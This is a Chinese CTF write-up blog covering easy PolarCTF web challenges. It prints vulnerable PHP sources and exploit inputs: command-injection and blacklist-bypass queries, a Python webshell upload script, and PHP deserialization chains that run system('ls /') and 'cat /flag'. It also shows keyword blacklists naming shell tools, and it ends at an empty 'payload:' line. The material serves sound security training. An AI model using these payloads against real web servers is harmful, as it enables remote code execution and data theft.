polarCTFweb刷题记录(简单)
总算是把简单题刷完了。
PHP是世界上最好的语言
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21
| <?php
highlight_file(__FILE__); include("flag.php"); $c=$_POST['sys']; $key1 = 0; $key2 = 0; if(isset($_GET['flag1']) || isset($_GET['flag2']) || isset($_POST['flag1']) || isset($_POST['flag2'])) { die("nonononono"); } @parse_str($_SERVER['QUERY_STRING']); extract($_POST); if($flag1 == '8gen1' && $flag2 == '8gen1') { if(isset($_POST['504_SYS.COM'])){ if(!preg_match("/\\\\|\/|\~|\`|\!|\@|\#|\%|\^|\*|\-|\+|\=|\{|\}|\"|\'|\,|\.|\?/", $c)){ eval("$c");
} } } ?>
|
关键点分析
flag1 和 flag2 不能以 GET 或 POST 普通参数形式出现,否则直接 die。
有这一行:@parse_str($_SERVER[‘QUERY_STRING’]); → 这会把 URL 中的查询字符串(如 ?a=1&b=2)解析成变量
紧接着 extract($_POST); → 会把 POST 参数也导入到当前符号表,且 POST 会覆盖同名变量(重要!)
要进入
eval
必须满足:
- $flag1 === ‘8gen1’ 且 $flag2 === ‘8gen1’
- POST 中有 504_SYS.COM 这个参数
- $c(即 $_POST[‘sys’])不能包含一堆被禁字符
干正则
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26
| <?php error_reporting(0); if (empty($_GET['id'])) { show_source(__FILE__); die(); } else { include 'flag.php'; $a = "www.baidu.com"; $result = ""; $id = $_GET['id']; @parse_str($id); echo $a[0]; if ($a[0] == 'www.polarctf.com') { $ip = $_GET['cmd']; if (preg_match('/flag\.php/', $ip)) { die("don't show flag!!!"); }
$result .= shell_exec('ping -c 2 ' . $a[0] . $ip); if ($result) { echo "<pre>{$result}</pre>"; } } else { exit('其实很简单!'); } }
|
parse_str($id) 变量覆盖漏洞(PHP < 5.4 经典漏洞)
PHP
1 2
| $id = $_GET['id']; @parse_str($id);
|
这行代码是最大漏洞! parse_str() 会把查询字符串格式的参数解析并注册成变量,例如:
text
执行后就会在当前作用域创建一个变量 $a = ‘hhh’,直接覆盖了前面定义的
PHP
所以我们可以通过构造 id 参数来任意覆盖 $a 变量。
1
| ?id=a[0]=www.polarctf.com&cmd=;cat%20flag*
|
uploader
1 2 3 4 5 6 7 8 9 10 11 12 13 14
| <?php $sandBox = md5($_SERVER['REMOTE_ADDR']); if(!is_dir($sandBox)){ mkdir($sandBox,0755,true); } if($_FILES){ move_uploaded_file($_FILES['file']['tmp_name'],$sandBox."/".$_FILES["file"]["name"]); echo "上传文件名: " . $_FILES["file"]["name"] . "<br>"; echo "文件类型: " . $_FILES["file"]["type"] . "<br>"; echo "文件大小: " . ($_FILES["file"]["size"] / 1024) . " kB<br>"; echo $sandBox; }
highlight_file(__FILE__);
|
没有过滤限制的文件上传界面。使用客户端 IP 地址 ($_SERVER['REMOTE_ADDR'])的 MD5 哈希值作为目录名创建文件夹。 例如:如果你的IP 是 192.168.1.1,文件夹名会是类似 3d4e9f5a2a4b8c6d0e1f2a3b4c5d6e7f 的哈希值(实际哈希因 IP 不同而变)。
如果该目录不存在,就通过 mkdir($sandBox, 0755, true) 创建它。
当通过 POST 请求(multipart/form-data 格式)上传名为 file 的文件时,它会:
- 使用
move_uploaded_file将上传的文件移动到$sandBox . "/" . $_FILES["file"]["name"]路径下。
- 直接保留客户端提供的原始文件名。
- 输出上传信息:文件名、MIME 类型、大小(单位 kB),并回显沙盒目录路径。
我们只需要利用及脚本上传文件。
1 2 3 4 5 6 7 8 9 10 11 12 13 14
| import requests url = 'http://055a0922-a994-45ee-9635-c9232735cb7f.www.polarctf.com:8090/' files = {'file': open('D:\Python\yijihua.php', 'rb')} response = requests.post(url, files=files) if response.status_code == 200: print("文件上传成功!") print("服务器返回的消息:", response.text) else: print("文件上传失败!") print("错误码:", response.status_code)
|
覆盖
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22
| <?php error_reporting(0); if (empty($_GET['id'])) { show_source(__FILE__); die(); } else { include 'flag.php'; $a = "www.baidu.com"; $result = ""; $id = $_GET['id']; @parse_str($id); echo $a[0]; if ($a[0] == 'www.polarctf.com') { $ip = $_GET['cmd']; $result .= shell_exec('ping -c 2 ' . $a[0] . $ip); if ($result) { echo "<pre>{$result}</pre>"; } } else { exit('其实很简单!'); } }
|
跟干正则完全一样,利用变量覆盖漏洞。
审计
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23
| <?php error_reporting(0); include("flag.php"); highlight_file(__FILE__);
if (isset($_GET['xxs'])) { $input = $_GET['xxs'];
if (is_array($input)) { die("错误:输入类型不允许为数组。"); } if (!preg_match("/^0e[0-9]+$/", md5($input))) { die("错误:输入的MD5值必须以'0e'开头,并跟随数字。"); } if (!is_numeric($input)) { die("错误:输入必须是数字。"); }
die("恭喜:".$flag); } else { die("错误:必须设置正确参数。"); } ?>
|
$input 必须是数字字符串(通过 is_numeric() 检查)
md5($input) 的结果必须是以 “0e” 开头且后面全是数字的字符串(如 “0e1234567890”)
$input 不能是数组
rapyiquan
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26
| <?php error_reporting(0); highlight_file(__FILE__); header('content-type:text/html;charset=utf-8');
$url = $_SERVER['REQUEST_URI']; function checkUrlParams($params) { if (strpos($params, '_') !== false) { return false; } return true; }
if(checkUrlParams($url)){ $cmd=$_GET['c_md']; if (preg_match("/ls|dir|flag|type|bash|tac|nl|more|less|head|wget|tail|vi|cat|od|grep|sed|bzmore|bzless|pcre|paste|diff|file|echo|sh|\'|\"|\`|;|,|\*|\?|\\|\\\\|\n|\t|\r|\xA0|\{|\}|\(|\)|\&[^\d]|@|\||\\$|\[|\]|{|}|\(|\)|-|<|>/i", $cmd)) { echo("badly!"); } else { echo `$cmd`; } }else{ echo "$url"; echo "<br>"; echo "Hack"; }
|
- 正常访问(URI无”_”):页面显示源码 + 一个输入框(隐含,通过?c_md=xxx传入命令)。
- 用户传入?c_md=xxx,如果xxx不匹配黑名单正则,就直接在服务器上执行xxx命令,并输出结果。这就是一个命令注入漏洞,目标通常是读取flag文件(例如cat flag.php或ls列目录)。
- 黑名单过滤非常严格:
- 禁止几乎所有常见读文件/执行命令的工具:cat、ls、grep、more、less、head、tail、tac、vi、nl、od、sed、paste、diff、file、wget、echo、bash、sh等。
- 禁止常见注入分隔符:;、&、、&&、||、换行、空格类似(\xA0是非断空格)、反引号、单双引号、反斜杠、*?{}$<>等通配符和重定向。
- 甚至禁止flag关键字本身,防止直接cat flag。
url中_的绕过可以使用php特性,对关键词的过滤可以使用\绕过
bllbl_ser1
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20
| class bllbl { public $qiang; function __destruct(){ $this->bllliang(); } function bllliang(){ $this->qiang->close(); } }
class bllnbnl{ public $er; function close(){ eval($this->er); } } if(isset($_GET['blljl'])){ $user_data=unserialize($_GET['blljl']); }
|
我们需要触发close,需要先触发bllliang,要触发bllliang需要先触发销毁函数__destruct()
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23
| <?php
class bllbl { public $qiang; function __destruct(){ $this->bllliang(); } function bllliang(){ $this->qiang->close(); } } class bllnbnl{ public $er = 'system("ls /");'; function close(){ eval($this->er); } } $a = new bllbl(); $b = new bllnbnl(); $a->qiang = $b; var_dump(serialize($a)); ?>
|
1ncIud3
根据题目提示常见的替换有
f1a9 f1ag f149
又因为是在某个目录下,所以用…/./为一组,不出意外基本题型最多也就四组,四组还不行的话就换命令了
狗黑子的RCE
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20
| <?php error_reporting(0); highlight_file(__FILE__); header('content-type:text/html;charset=utf-8');
$gouheizi1=$_GET['gouheizi1']; $gouheizi2=$_POST['gouheizi2']; $gouheizi2=str_replace('gouheizi', '', $gouheizi2);
if (preg_match("/ls|dir|flag|type|bash|tac|nl|more|less|head|wget|tail|vi|cat|od|grep|sed|bzmore|bzless|pcre|paste|diff|file|echo|sh|\'|\"|\`|;|,|\*|\?|\\|\\\\|\n|\t|\r|\xA0|\{|\}|\(|\)|\&[^\d]|@|\||\\$|\[|\]|{|}|\(|\)|-|<|>/i", $gouheizi1)) { echo("badly!"); exit; } if($gouheizi2==="gouheizi"){ system($gouheizi1); }else{ echo "gouheizi!"; } ?>
|
核心逻辑总结
要成功执行命令,必须同时满足两个条件:
- POST 传入的 gouheizi2 经过 str_replace(‘gouheizi’,’’,…) 后,**结果仍然严格等于 “gouheizi”**。
- GET 传入的 gouheizi1 是一个有效的命令,且不能包含正则中列出的任何被禁字符/命令。
gouheizi2利用双写绕过,gouheizi1没有过滤 \ /。
1 2
| ?gouheizi1=l\s / gouheizi2=gougouheiziheizi
|
简单的链子
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16
| <?php class A { public $cmd; function __destruct() { if (isset($this->cmd)) { system($this->cmd); } } }
if (isset($_GET['data'])) { $data = $_GET['data']; @unserialize($data); } else { highlight_file(__FILE__); }
|
exp:
1 2 3 4 5 6 7 8 9 10 11 12 13
| <?php class A { public $cmd; }
$a = new A(); $a->cmd = "cat /flag"; echo serialize($a);
|
rce命令执行系统
目录扫描出flag.txt
访问得到提示:
根据提示访问./f1ag.php
1
| hint:既然你找到这里了那就告诉你点东西吧 异或后它好像改名叫XOR_KEY,给他传个参试一试呢,对了,咱们的靶场叫什么来着?🤔
|
payload: